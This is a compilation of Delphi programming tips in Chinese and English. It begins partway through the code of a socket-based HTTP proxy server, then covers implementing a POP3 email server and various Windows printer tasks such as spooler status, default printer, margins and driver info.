Socket: TCustomWinSocket);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used
then
begin
session[i-1].remote_connected:=false; {置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:=false {假如客户机已断开，则置释放资源
标志}
else
for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=sessi
on[i-1].SS_Handle) and session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then {修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

//当与远程主机通信发生错误时…
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used
then
begin
socket.close;
session[i-1].remote_connected:=false; {置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:=false {假如客户机已断开，则置释放资源
标志}
else
for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=sessi
on[i-1].SS_Handle) and session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
errorcode:=0;
if k>0 then {修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

//向远程主机发送页面请求…
procedure TForm1.ClientSocket1Write(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used
then
begin
if session[i-1].Request then
begin
socket.SendText(session[i-1].request_str); {假如有请求，发
送}
session[i-1].Request:=false; {清标志}
end;
break;
end;
end;

//远程主机发来页面数据时…
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j: integer;
rec_bytes: integer; {传回的数据块长度}
rec_Buffer: array[0..2047] of char; {传回的数据块缓冲区}
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used
then
begin
rec_bytes:=socket.ReceiveBuf(rec_buffer,2048); {接收数据}
for j:=1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle=session[i
-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,
rec_bytes); {发送数据}
break;
end;
break;
end;
end;

//“页面找不到”等错误信息出现时…
procedure TForm1.AppException(Sender: TObject; E: Exception);
begin
inc(invalidrequests);
end;

//查找远程主机定时…
procedure TForm1.Timer1Timer(Sender: TObject);
var
i,j: integer;
begin
for i:=1 to sessions do
if session[i-1].Used and session[i-1].Lookingup then {假如正在连接}
begin
inc(session[i-1].LookupTime);
if session[i-1].LookupTime>lookuptimeout then {假如超时}
begin
session[i-1].Lookingup:=false;
session[i-1].CSocket.active:=false; {停止查找}
for j:=1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle=ses
sion[i-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].Close; {断开
客户机}
break;
end;
end;

end;
end;
end.

3、 后记
由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原
有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，
三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器
工作站之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。
通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集
成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。
有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客
户流量、Web访问列表等等。

作者：王国忠


Email 服务器的简单实现

---- 贵刊1999年7月26日《编程技巧》栏目刊登的《监视POP3信箱》一文介绍了直接调用WinSock函数来进行POP3网络通信从而监视有无新邮件的方法。但我们知道从Delphi 3 开始，它自带的控件中有基于Internet开发的控件。如果我们充分利用这些控件开发Internet程序则可以简化编程工作，提高效率。鉴于目前POP3客户端的软件的种类繁多，（如Outlook Express,Foxmail 以及Web 方式下的各免费邮局）,而服务器端（除Unix Email系统）很少公开原代码,下面我就向大家着重介绍一下利用 Delphi 4中Internet控件组的TClientSocket 和TServerSocket 控件来实现 Email POP3服务器端。如果您理解了Email POP3服务器的构造，相信也可以依葫芦画瓢写出Email SMTP服务器程序。在此基础上加入多线程技术使服务器能同时处理多个客户的连接请求，您就可以轻松地实现一个简单的Email服务器了。

---- 一． 设计思路

---- Email 系统采用C/S 结构。当用户想发送邮件时或收取邮件时在客户机上运行任意一个客户端程序，如Foxmail。在菜单’工具->选项’的邮件服务器里填上运行我们服务器程序的主机名。服务器主机24小时一直运行我们的服务器端程序，SMTP和POP3服务器程序分别在25端口和110端口侦听连接请求。当用户发信时，首先客户端会与服务器端建立Socket连接。然后开始一应一答的Client/Server间的通信。发信和收信时建立连接后服务器端分别要发送一个’250 OK’ 和’+OK pop3 server is ready ’的应答。客户端收到此应答后开始发送SMTP或POP3命令。POP3通信时一般最开始的命令是’user ‘和’pass’或’ apop’用以进行身份验证。注意由于POP3会话有3个状态，某些命令只在某特定状态下有效。当用户进行完所有的操作后发送一个’quit’命令。服务器端收到此命令即终止此次socket连接并继续侦听其他的连接请求。注意：POP3通信时客户端在Transaction状态下’quit’则进入update状态。如果从Authorization状态下’quit’则终止通信，而不进入Update状态。如果客户端不通过’quit’命令终止连接，POP3会话不会进入Update状态。而只有在Update状态下收到’quit’命令后服务器才会在断连前把标志为已删的邮件进行物理删除。

---- 二． 代码实现(以POP3为例)

---- 自定义TPOP类的描述：

 SessionState = ( Init,Authorization, Transaction,Update);
 TPop=class (TComponent)
  public
     UserName:string;//Email帐户名
     PassWord:string; //Email口令
     ReceText:Pchar;  //server端收到的字符串
     PopState:SessionState;
//pop状态：
init or authorization or transaction  or update
     MsgCount:integer; //邮件总数
     SizeCount:integer;  //邮件总大小
     ReplyString:string;//服务器端发送的应答信息
     DeleIndex:byte;//用户要删的邮件序号
     ListIndex:byte;//list方法 的参数：
用户要列出的序号为listindex的邮件信息
     RetrIndex:byte;//retr方法的参数：
用户要取序号为retrindex的邮件
     TopIndex:byte; //top方法的参数
     QuitFlag:boolean;//用户如果通过quit命断连则此变量为true;
反之（此时要把f_dele都置回0）
     OldMsgCount:integer;//旧邮件数：Last 命令返回
     //邮件头的各个域
     HMsgId:string;
     HReplyTo:string;
     HDate:string;
     HFrom:string;
     HTo:string;
     HSubject:string;
     HMIME_Ver:real;
     HContent_Type:string;
     HContent_Transfer_Encoding:string;
     HText:string;
    //所有POP3服务器必须支持的命令
    procedure user;
    function pass:boolean;
    procedure stat;
    procedure dele;
    procedure list;
    procedure retr;
    procedure noop;
    procedure rset;
    procedure aquit;
    procedure tquit;
    //扩展的可选择实现的POP3 命令
   procedure top;
   procedure last;
   procedure apop;
   procedure uidl;
   end;

---- 1. 建立连接

---- 我们可以看到利用了Tclientsocket后客户端请求建立连接只需下面的代码。

with ClientSocket do
      begin
        Host := Server;
        Active := True;
      end;

---- 服务器端利用TserverSocket,一直在侦听110端口，若客户端有连接请求，则ServerSocketAccept事件会被激活，建立起连接。

procedure TMyForm.ServerSocketAccept(Sender: TObject;
  Socket: TCustomWinSocket);
begin
   Statusbar1.Panels[0].Text :=
   '连接到 ' + Socket.RemoteAddress;
  //pop对象初始化
  pop:=TPop.Create(nil);
  pop.PopState:=init;
  pop.LoginResult:=false;
  pop.QuitFlag:=false;
  ServerSocket.Socket.Connections[0]
  .sendtext('+OK ibonc pop3 server is ready'+crlf);

end;

---- 2. 通信

---- 服务器端收到客户端发来的信息，则会激活ServerSocketClientRead事件，通过ServerSocket的Socket.ReceiveText可以得到信息的内容。

procedure TMyForm.ServerSocketClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var temp_command :string;
//存放接收到的命令行，并做去crlf的处理
begin
 temp_command:=Socket.ReceiveText;
 //to remove the crlf in command line
 temp_command:=trim(copy(temp_command,1,
pos(crlf,temp_command)-1));
 pop.ReceText:=pchar(temp_command);
 if  pop.popstate=init then
    if  strLIComp(pop.ReceText,'user ',5)=0 then
       pop.user
    else
       ServerSocket.Socket.Connections[0]
.sendtext('-ERR user name please')
 else if pop.popstate=authorization then
    begin
         if strLIComp(pop.ReceText,'pass ',5)=0 then
               pop.pass
         else if strIComp(pop.ReceText,'quit')=0  then
               pop.aquit
             else
               ServerSocket.Socket.Connections[0]
.sendtext('-ERR pass word please');
    end
 else if pop.popstate=transaction then
     begin
          if  strIComp(pop.ReceText,'stat')=0  then
              pop.stat
          else if strLIComp(pop.ReceText,'dele ',5)=0 then
              pop.dele
          else if strLIComp(pop.ReceText,'list',4)=0 then
              pop.list
          else if strLIComp(pop.ReceText,'retr ',5)=0 then
              pop.retr
          else if strIComp(pop.ReceText,'noop')=0 then
              pop.noop
          else if strIComp(pop.ReceText,'rset')=0 then
              pop.rset
          else if strIComp(pop.ReceText,'quit')=0 then
              pop.tquit
          else if strIComp(pop.ReceText,'last')=0 then
              pop.last
          else if strLIComp(pop.ReceText, 'apop ',5)=0 then
              pop.apop
          else if strLIComp(pop.ReceText, 'uidl ',5)=0 then
              pop.uidl
          else
              ServerSocket.socket.connections[0]
.sendtext('-ERR no such command yet'+crlf);
          end
end;

---- 3. 关闭连接

   procedure TMyForm.ServerSocket
ClientDisconnect(Sender: TObject;
        Socket: TCustomWinSocket);
   begin
     ServerSocket.Active := False;
     //如果client端没有通过quit 命令断连，
     则在断连时要把那些f_dele置为0
     if pop.QuitFlag=False then
       begin
         MyForm.query11.Close;
         MyForm.query11.Params[0].Asstring:=pop.UserName;
         MyForm.query11.prepare;
         MyForm.query11.execsql;
       end;
   end;

---- 三． 结语

---- 由于Email系统与数据库表结构的紧密联系,笔者没有写出各POP3命令的具体实现。相信读者在认真阅读了RFC1939之后不难写出实现函数。现在就动手为你的公司写一个自己的Email服务器吧！


判断系统是否有打印机连接

Add a message handler for it to your main form, private section:

procedure WMSpoolerstatus( var msg: TWMSpoolerstatus );
message WM_SPOOLERSTATUS;

Hit Shift-Ctrl-C to make the IDE add a implementation for the method.
Add an inherited statement. msg.JobStatus will be 0 if the spooler thinks
it is healthy and < 0 if it has an error. From the list of error codes
found in Windows.PAS (above PR_JOBSTATUS) a missing network printer may not
be seen as an error, so look at msg.JobsLeft. If this never decreases in
the messages you see the spooler cannot get rid of the jobs. Of course it is
hard to tell when enough time has passed so you might become suspicious.

You can try to use the WinSpool.EnumJobs API to query the spooler directly.
Example below. See the diverse JOB_STATUS* codes given in the help topic for
JOB_INFO_1 in win32.hlp. Note that the Status field is a bitset, it can contain
more than one of the status codes. Use expressions like

if (Status and JOB_STATUS_OFFLINE) <> 0 Then
... printer offline

uses Winspool, Printers;

function GetCurrentPrinterHandle: THandle;
var
Device, Driver,
Port : array[0..255] of char;
hDeviceMode: THandle;
begin
Printer.GetPrinter(Device, Driver, Port, hDeviceMode);
if not
OpenPrinter(@Device, Result, nil) then
RaiseLastWin32Error;
end;

Function SavePChar( p: PChar ): PChar;
const error: PChar = 'Nil';
begin
if not assigned( p ) then
result := error
else
result := p;
end;

procedure TForm1.Button2Click(Sender: TObject);
type
TJobs = Array [0..1000] of JOB_INFO_1;
PJobs = ^TJobs;
var
hPrinter : THandle;
bytesNeeded, numJobs, i: Cardinal;
pJ: PJobs;
begin
hPrinter:= GetCurrentPrinterHandle;
try
EnumJobs( hPrinter, 0, 1000, 1, Nil, 0, bytesNeeded,
numJobs );
pJ := AllocMem( bytesNeeded );
If not EnumJobs( hPrinter, 0, 1000, 1, pJ, bytesNeeded,
bytesNeeded, numJobs )
Then
RaiseLastWin32Error;

memo1.clear;
if numJobs = 0 Then
memo1.lines.add('No jobs in queue')
else
For i:= 0 to Pred(numJobs) Do
memo1.lines.add( Format(
'Job %s, Status (%d): %s',
[SavePChar(pJ^[i].pDocument), pJ^[i].Status, SavePChar(pJ^[i].pStatus)] ));
finally
ClosePrinter( hPrinter );
end;
end;


改变缺省打印机

 如果你想要改变Windows的缺省打印机,你必须在Windows的WIN.INI中改变设备键。

发送一条 WM_WININICHANGE 消息：

var
strIni: array[0..MAX_PATH] of Char;
arrWindows: array[0..64] of Char;
begin
GetWindowsDirectory(strIni, SizeOf(strIni));
StrCat(strIni, '\win.ini');
with TIniFile.Create(strIni) do
try
WriteString('windows', 'device', 'HP LaserJet 4 Plus,HPPCL5MS,LPT1:');
finally
Free;
end;

StrCopy(arrWindows, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@arrWindows));
end;

投稿人：codelphi.com　投稿日期：2001-4-22 11:33:00


调出添加打印机向导

ShellExecute(Handle, 'open', 'rundll',

'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter', '', SW_SHOWNORMAL);


改变打印机字符集

uses Sysutils,Printers;

procedure TForm1.Button1Click(Sender: TObject);

var

Dosya:TextFile

begin

with Printer do

begin

AssignPrn(Dosya);

Rewrite(Dosya);

Printer.Canvas.Font.Name:='Courier New';

Printer.Canvas.Font.Style:=[fsBold];

Printer.Canvas.Font.Size:=18;

//****for Turkish special characters

Writeln(Dosya,'eüit??y');

//****set Font CharSet to Turkish(162)

Printer.Canvas.Font.Charset:=162;

Writeln(Dosya,'eüit??y');

CloseFile(Dosya);

end;

end;

The following table lists the predefined constants provided for standard character sets:

type TFontCharset = 0..255;

Constant Value Description

ANSI_CHARSET 0 ANSI characters.

DEFAULT_CHARSET 1 Font is chosen based solely on Name and Size. If the described font is not available on the system, Windows will substitute another font.

SYMBOL_CHARSET 2 Standard symbol set.

MAC_CHARSET 77 Macintosh characters. Not available on NT 3.51.

SHIFTJIS_CHARSET 128 Japanese shift-jis characters.

HANGEUL_CHARSET 129 Korean characters (Wansung).

JOHAB_CHARSET 130 Korean characters (Johab). Not available on NT 3.51

GB2312_CHARSET 134 Simplified Chinese characters (mainland china).

CHINESEBIG5_CHARSET 136 Traditional Chinese characters (taiwanese).

GREEK_CHARSET 161 Greek characters. Not available on NT 3.51.

TURKISH_CHARSET 162 Turkish characters. Not available on NT 3.51

VIETNAMESE_CHARSET 163 Vietnamese characters. Not available on NT 3.51.

HEBREW_CHARSET 177 Hebrew characters. Not available on NT 3.51

ARABIC_CHARSET 178 Arabic characters. Not available on NT 3.51

BALTIC_CHARSET 186 Baltic characters. Not available on NT 3.51.

RUSSIAN_CHARSET 204 Cyrillic characters. Not available on NT 3.51.

THAI_CHARSET 222 Thai characters. Not available on NT 3.51

EASTEUROPE_CHARSET 238 Includes diacritical marks for eastern european countries. Not available on NT 3.51.

OEM_CHARSET 255 Depends on the codepage of the operating system.


设定缺省打印机

This grabs the selected printer in a ComboBox and makes it the default
printer.

Use this on form create (or whatever)...

ComboBox1.Items := Printer.Printers; {populates ComboBox}
ComboBox1.ItemIndex := Printer.PrinterIndex; {sets display to current
printer}

then, assuming you have a Button5...

procedure TForm1.Button5Click(Sender: TObject);
var
Device:
array[0..255] of Char;
Driver: array[0..255] of char;
Port:
array[0..255] of char;
s : array[0..255] of Char;
hDeviceMode: THandle;
begin
Printer.PrinterIndex :=
ComboBox1.ItemIndex;
Printer.GetPrinter (Device, Driver, Port,
hDeviceMode);
StrCopy (s, Device);
StrCat (s,
',');
StrCat (s, Driver);
StrCat (s, ',');
StrCat
(s, Port);
WriteProfileString ('windows', 'device', s);
StrCopy (s, 'windows');
SendMessage (HWND_BROADCAST, WM_WININICHANGE,
0, LongInt(@s));
end;


获得打印机解析度

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(inttostr( GetDeviceCaps(Printer.Handle, LOGPIXELSX) ));
end;

返回打印机每英寸相素值

function GetPageWidth: Integer;

begin

Result := Screen.PixelsPerInch*GetDeviceCaps(Printer.Handle,

PHYSICALWIDTH) div GetPixelsPerInchX

end;

function GetPageHeight: Integer;

begin

Result := Screen.PixelsPerInch*GetDeviceCaps(Printer.Handle,

PHYSICALHEIGHT) div GetPixelsPerInchY

end;

function GetPixelsPerInchX: Integer;

begin

Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX)

end;

function GetPixelsPerInchY: Integer;

begin

Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)

end;


获得打印驱动版本信息

uses WinSpool;

procedure TForm1.FormCreate(Sender: TObject);
begin
comboPrinters.Items.Assign( Printer.Printers );
end;

procedure TForm1.Button1Click(Sender: TObject);
var
hPrinter: THandle;
PrtName: String;
DriverInfo: PDriverInfo2;
dwNeeded: DWord;
begin
PrtName := comboPrinters.Text;
OpenPrinter( PChar( PrtName ) , hPrinter , nil );
GetPrinterDriver( hPrinter, nil, 2, DriverInfo, 0, dwNeeded );
GetMem( DriverInfo, dwNeeded );
if GetPrinterDriver( hPrinter, nil, 2, DriverInfo, dwNeeded, dwNeeded )
then
begin
Memo1.Lines.Add( IntToStr( DriverInfo.cVersion ) ); // The driver
version
Memo1.Lines.Add( StrPas( DriverInfo.pName ) );
Memo1.Lines.Add( StrPas( DriverInfo.pEnvironment ) );
Memo1.Lines.Add( StrPas( DriverInfo.pDriverPath ) );
Memo1.Lines.Add( StrPas( DriverInfo.pDataFile ) );
Memo1.Lines.Add( StrPas( DriverInfo.pConfigFile ) );
end
else
Memo1.Lines.Add( 'No Info needed = ' + IntToStr( dwNeeded ) );
ClosePrinter( hPrinter );
FreeMem( DriverInfo );
end;


枚举打印缓冲池打印任务

uses Printers, WinSpool;

function PrinterStatusText(Status: Integer): String;
begin
case Status of
0: Result := 'Waiting';
JOB_STATUS_PAUSED: Result := 'Paused';
JOB_STATUS_ERROR: Result := 'Error';
JOB_STATUS_DELETING: Result := 'Deleting';
JOB_STATUS_SPOOLING: Result := 'Spooling';
JOB_STATUS_PRINTING: Result := 'Printing';
JOB_STATUS_OFFLINE: Result := 'Offline';
JOB_STATUS_PAPEROUT: Result := 'Paper Out';
JOB_STATUS_PRINTED: Result := 'Printed';
JOB_STATUS_DELETED: Result := 'Deleted';
JOB_STATUS_BLOCKED_DEVQ: Result := 'Blocked';
JOB_STATUS_USER_INTERVENTION: Result := 'User Intervention';
JOB_STATUS_RESTART: Result := 'Restart';
else Result := 'Status ' + IntToStr(Status);
end;
end;

procedure GetJobs(PrinterName: String; JobList: TStrings);
const
InfoLevel = 1;
FirstJob = 0;
LastJob = 19;
var
Jobs: array [FirstJob..LastJob] of TJobInfo1;
PrinterHandle, BytesNeeded, I, NumJobs: Integer;
begin
if OpenPrinter(PChar(PrinterName),PrinterHandle,nil) then begin
if
EnumJobs(PrinterHandle,FirstJob,LastJob+1,InfoLevel,@Jobs,SizeOf(Jobs),BytesNeed
ed,NumJobs) then begin
JobList.Clear;
for I := 0 to NumJobs-1 do
with Jobs[I] do
JobList.Add(Format('%s
(%s)',[StrPas(pDocument),PrinterStatusText(Status)]));
end;
ClosePrinter(PrinterHandle);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
GetJobs('HP Laserjet 4P',Memo1.Lines);
end;


判断打印机是否黑白

IsMonochrome := (GetDeviceCaps(Printer.Handle, BITSPIXEL) *
GetDeviceCaps(Printer.Handle, PLANES)) = 1;


调用添加打印机的对话框

 ShellExecute(Handle, 'open', 'rundll',
'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter', '', SW_SHOWNORMAL);


切换打印机的彩色模式

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
Device :
array[0..255] of char;
Driver : array[0..255] of char;
Port   : array[0..255] of char;
hDMode : THandle;
PDMode : PDEVMODE;

begin
with Printer do begin
PrinterIndex := PrinterIndex;
GetPrinter(Device, Driver, Port, hDMode);

if hDMode <> 0 then begin
pDMode := GlobalLock(hDMode);
if pDMode <> nil then begin
pDMode.dmFields := pDMode.dmFields or dm_Color;
pDMode.dmColor := DMCOLOR_COLOR;
GlobalUnlock(hDMode);
end;
end;

    PrinterIndex := PrinterIndex;
BeginDoc;
Canvas.Font.Color :=
clRed;
Canvas.TextOut(100,100, 'Red As A
Rose!');
EndDoc;
end;
end;


检测存在打印机

Printers是专门用来控制打印机的，可是在没有安装打印机时，却会提示I/O错误，所以必须有一个检测是否存在打印机的方法，我试过很多方法，可是I/O错误总是比我的判断早出现，所以采用以下的烂招来检测打印机。首先在uses增加Printers，再准备一个列表框ComboBox1，其属性Visible设为FALSE，然后在打印之前执行下列语句，那么就可以检测到是否存在打印机了：

procedure TForm1.ButtonClick(Sender: Tobject);
begin
ComboBox1.Clear;
ComboBox1.Items.Assign(Printer.Printers);
if ComboBox1.Items.CommaText='' then
Messagedlg('你需要安装打印机才能打印！',mtError,[mbOk],0);
else
Form1.Print;
end;


检测打印缓冲池中打印任务数

type
TForm1 = class(TForm)
Label1: TLabel;
private
{ Private declarations }
procedure WM_SpoolerStatus(var Msg : TWMSPOOLERSTATUS);
message WM_SPOOLERSTATUS;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WM_SpoolerStatus(var Msg : TWMSPOOLERSTATUS);
begin
Lable1.Caption := IntToStr(msg.JobsLeft) +
' Jobs currenly in spooler';
msg.Result := 0;
end;


判断打印机是否能打印图象

if (GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and
RC_NONE) = RC_NONE then
NoGraphics := True;

if (GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and
RC_STRETCHDIB) = RC_STRETCHDIB then
DeviceDirectly SupportsStretchDIB := True else
WIndowsWillSimulateStretchDIB := True;


获取打印页边距

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
EscapeCode : integer;
Margin : TPoint;
begin
if PrintDialog1.Execute then begin
{$IFDEF WIN32}
Margin.x :=GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);
Margin.y :=GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);
{$ELSE}
EscapeCode := GETPRINTINGOFFSET;
if Escape(Printer.Handle,
QUERYESCSUPPORT,
sizeof(EscapeCode),
@EscapeCode,
nil) <> 0 then
if Escape(Printer.Handle,
GETPRINTINGOFFSET,
0,
nil,
@Margin) < 1 then begin
EscapeCode := GETPHYSPAGESIZE;
if Escape(Printer.Handle,
QUERYESCSUPPORT,
sizeof(EscapeCode),
@EscapeCode,
nil) <> 0 then
if Escape(Printer.Handle,
GETPHYSPAGESIZE,
0,
nil,
@Margin) > 0 then begin
Margin.x := (Margin.x -
GetDeviceCaps(Printer.Handle, HorzRes)) div 2;
Margin.y := (Margin.y -
GetDeviceCaps(Printer.Handle, VertRes)) div 2;
end else begin
Margin.x := 0;
Margin.y := 0;
end;
end;
{$ENDIF}
Memo1.Lines.Add(IntToStr(Margin.x));
Memo1.Lines.Add(IntToStr(Margin.y));
end;
end;
///////////////////////////////////////////////////////////////
获得边缘坐标
var
pntMargins : TPoint;
begin
Escape(Printer.Handle, GETPRINTINGOFFSET,0,nil,@prntMargins);
end;

Getting the Right and Bottom Margins aren't quite so straightforward. There isn't an equivalent Escape call. You obtain these values by getting the physical width (physWidth) and height (physHeight) of the page, the printable width (PrintWidth) and height (PrintHeight) of the page, and then carrying out the following sums:

RightMargin := physWidth - PrintWidth - LeftMargin
BottomMargin := physHeight - PrintHeight - TopMargin
The physical page size is found using Escape, this time with the GETPHYSPAGESIZE parameter. The point pntPageSize contains the page width in pntPageSize.x and page height in pntPageSize.y

var
pntPageSize : TPoint;
begin
Escape(Printer.Handle, GETPHYSPAGESIZE,o,nil,@pntPageSize);
end;


在打印中间改变打印机设置

unit Unit1;

interface

{$IFDEF WIN32}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, Printers;
{$ELSE}
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, Printers, Print;
{$ENDIF}

type
TForm1 = class(TForm)
PrintDialog1:
TPrintDialog;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
function PageSetup :
bool;
function NewPage : bool;
public
{ Public declarations }
PageNumber : integer;
CanReset : bool;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

function TForm1.PageSetup : bool;
var
pDevice : pChar;
pDriver : pChar;
pPort : pChar;
hDMode : THandle;
PDMode : PDEVMODE;
PrnHandle : THandle;
begin
result := false;
GetMem(pDevice, cchDeviceName);
GetMem(pDriver, MAX_PATH);
GetMem(pPort, MAX_PATH);
Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
if hDMode <> 0 then begin
pDMode := GlobalLock(hDMode);
if pDMode <> nil then begin

{Change your printing settings here}
if not odd(PageNumber) then begin
pDMode^.dmFields := pDMode^.dmFields or dm_PaperSize;
pDMode^.dmPaperSize := DMPAPER_LETTER;
end else begin
pDMode^.dmFields := pDMode^.dmFields or dm_PaperSize;
pDMode^.dmPaperSize := DMPAPER_LEGAL;
end;

if Printer.Printing then
PrnHandle := Printer.Canvas.Handle
else
PrnHandle := Printer.Handle;
{$IFDEF WIN32}
if ResetDc(PrnHandle, pDMode^) <> 0 then
{$ELSE}
if ResetDc(PrnHandle, pDMode) <> 0 then
{$ENDIF}
CanReset := true else
CanReset := false;
Result := true;
GlobalUnlock(hDMode);
end;
end;
FreeMem(pDevice, cchDeviceName);
FreeMem(pDriver, MAX_PATH);
FreeMem(pPort, MAX_PATH);
end;

function TForm1.NewPage : bool;
begin
Result := true;
if CanReset then
EndPage(Printer.Canvas.Handle) else
Printer.EndDoc;
Inc(PageNumber);
if PageSetUp then begin
if CanReset then begin
StartPage(Printer.Canvas.Handle);
Printer.Canvas.Refresh;
end else
Printer.BeginDoc;
end else begin
if CanReset then begin
StartPage(Printer.Canvas.Handle);
Printer.Abort;
end;
Result := false;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if PrintDialog1.Execute then begin

   {Setup printing}
PageNumber :=
1;
if not PageSetUp then
begin
ShowMessage('Unable to customize printer
settings');
exit;
end;
Printer.BeginDoc;

   {Print page one}
Printer.Canvas.TextOut(100,100, 'Test Page 1');
if not
NewPage then begin
ShowMessage('Unable to
customize printer settings');
exit;
end;

   {Print page two}
Printer.Canvas.TextOut(100,100, 'Test Page 2');
if not
NewPage then begin
ShowMessage('Unable to
customize printer settings');
exit;
end;

{Print page three}
Printer.Canvas.TextOut(100,100, 'Test Page 3');
Printer.EndDoc;
end;
end;

end.


改变打印机的打印端口

uses Printers;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
pDevice :
pChar;
pDriver : pChar;
pPort   : pChar;
hDMode : THandle;
PDMode : PDEVMODE;
begin
if
PrintDialog1.Execute then begin
GetMem(pDevice,
cchDeviceName);
GetMem(pDriver,
MAX_PATH);
GetMem(pPort, MAX_PATH);
Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
Printer.SetPrinter(pDevice, PDriver, 'FILE:', hDMode);
FreeMem(pDevice, cchDeviceName);
FreeMem(pDriver,
MAX_PATH);
FreeMem(pPort, MAX_PATH);
Printer.BeginDoc;
Printer.Canvas.TextOut(100, 100, 'Delphi
Is RAD!');
Printer.EndDoc;
end;
end;


使用打印机内置字体打印

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
tm : TTextMetric;
i : integer;
begin
if PrintDialog1.Execute then begin
Printer.BeginDoc;
Printer.Canvas.Font.Handle := GetStockObject(DEVICE_DEFAULT_FONT);
GetTextMetrics(Printer.Canvas.Handle, tm);
for i := 1 to 10 do begin
Printer.Canvas.TextOut(100,
i * tm.tmHeight +
tm.tmExternalLeading,
'Test');
end;
Printer.EndDoc;
end;
end;


安装打印驱动

 procedure TForm1.Button1Click(Sender: TObject);
var
s : array[0..64] of char;
begin
WriteProfileString('PrinterPorts',
'DriverName',
'DRVFILE,FILE:,15,45');
WriteProfileString('Devices',
'DriverName',
'DRVFILE,FILE:');
StrCopy(S, 'PrinterPorts');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
StrCopy(S, 'Devices');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;


获取打印机状态

var
pinfo: pPRINTERINFO2;
pprt,a: Cardinal;
b:PDWORD;
begin
b:=allocmem(256);
pinfo:=AllocMem(1000);
if OpenPrinter('HP DJ 200',pprt,nil)
then
begin
a:=1000;
if
getprinter(pprt,2,pinfo,a,b) then
showmessage(pinfo.pPrinterName+' ststus:'+inttostr(pinfo.Status));
ClosePrinter(pprt);
end;

freemem(b);
freemem(pinfo);
end;

PRINTER_INFO_2.Status :
Windows NT:
PRINTER_STATUS_PAUSED
PRINTER_STATUS_PENDING_DELETION
Windows 95:
PRINTER_STATUS_BUSY
PRINTER_STATUS_DOOR_OPEN
PRINTER_STATUS_ERROR
PRINTER_STATUS_INITIALIZING
PRINTER_STATUS_IO_ACTIVE
PRINTER_STATUS_MANUAL_FEED
PRINTER_STATUS_NO_TONER
PRINTER_STATUS_NOT_AVAILABLE
PRINTER_STATUS_OFFLINE
PRINTER_STATUS_OUT_OF_MEMORY
PRINTER_STATUS_OUTPUT_BIN_FULL
PRINTER_STATUS_PAGE_PUNT
PRINTER_STATUS_PAPER_JAM
PRINTER_STATUS_PAPER_OUT
PRINTER_STATUS_PAPER_PROBLEM
PRINTER_STATUS_PAUSED
